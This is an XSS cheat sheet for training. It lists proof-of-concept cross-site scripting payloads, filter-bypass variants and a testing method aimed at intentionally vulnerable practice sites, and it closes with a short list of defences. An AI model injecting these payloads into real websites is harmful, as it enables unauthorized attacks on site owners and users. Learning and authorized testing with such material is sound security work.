XSS Quick Reference

Basic XSS Payloads

Standard Script Tags

```html
<script>alert('XSS Test')</script>
<script>alert(1)</script>
<ScRiPt>alert('XSS')</ScRiPt>
```

Image Tag with Error Event

```html
<img src=x onerror=alert('XSS')>
<img src=nonexistent onerror=alert(1)>
```

Event Handlers

```html
<body onload=alert('XSS')>
<input type=text onfocus=alert('XSS') autofocus>
<svg onload=alert('XSS')>
```

JavaScript Protocol

```javascript
javascript:alert('XSS')
javascript:alert('Testing')
```

Page Modification Payloads

Content Changes

```html
```

```
<!-- Change page title -->
<script>document.title='Security Test'</script>

<!-- Inject HTML content -->
<h1>XSS Demonstration</h1>

<!-- Basic DOM manipulation -->
<script>document.body.style.backgroundColor='red'</script>
```

Filter Bypass Techniques

Case Variations

```
<ScRiPt>alert('XSS')</ScRiPt>
<SCRIPT>alert('XSS')</SCRIPT>
<script>ALERT('XSS')</script>
```

Alternative Tags

```
<svg/onload=alert('XSS')>
<details open ontoggle=alert('XSS')>
<marquee onstart=alert('XSS')>
```

Encoding

```
&#60;script&#62;alert('XSS')&#60;/script&#62;
%3Cscript%3Ealert('XSS')%3C/script%3E
```

Common Testing Targets

testphp.vulnweb.com URLs

```
```

```
# Main site
http://testphp.vulnweb.com

# Search functionality
http://testphp.vulnweb.com/search.php?test=PAYLOAD

# Artist page
http://testphp.vulnweb.com/artists.php?artist=PAYLOAD

# Guestbook (if available)
http://testphp.vulnweb.com/guestbook.php
```

Input Fields to Test

- Search boxes
- Contact forms
- Comment sections
- User profile fields
- URL parameters
- Guestbook entries

Testing Methodology

Step-by-Step Process

1. Find an input field
2. Submit basic XSS payload: `<script>alert(1)</script>`
3. Check if script executes
4. If blocked, try alternative payloads
5. Test different input fields on the site
6. Document working vectors

Signs of Vulnerability

- User input reflected without encoding
- Error messages contain unfiltered input

- URL parameters displayed on page
- Rich text editors allowing HTML

Troubleshooting

Script Doesn't Execute

- Try Firefox (less XSS protection)
- Check pop-up blocker settings
- Try different payload variations
- Verify input field accepts HTML

Site Issues

- testphp.vulnweb.com occasionally down
- Alternative sites: demo.testfire.net
- Try different browsers if needed
- Clear browser cache if problems persist

Filter Bypasses

- Mixed case: `<ScRiPt>`
- Event handlers: `<img src=x onerror=alert(1)>`
- JavaScript protocol: `javascript:alert(1)`
- Alternative tags: `<svg onload=alert(1)>`

Defense Recognition

Common Protections

- Input validation and sanitization
- Output encoding (HTML entities)
- Content Security Policy headers
- HTTPOnly cookies
- Browser XSS filters

What to Look For

- Missing output encoding
- Inconsistent input validation
- User content without sanitization
- Client-side filtering only

Professional Usage Notes

- Always test on authorized targets only
- Use controlled lab environments
- Focus on vulnerability discovery, not exploitation
- Report findings responsibly to site owners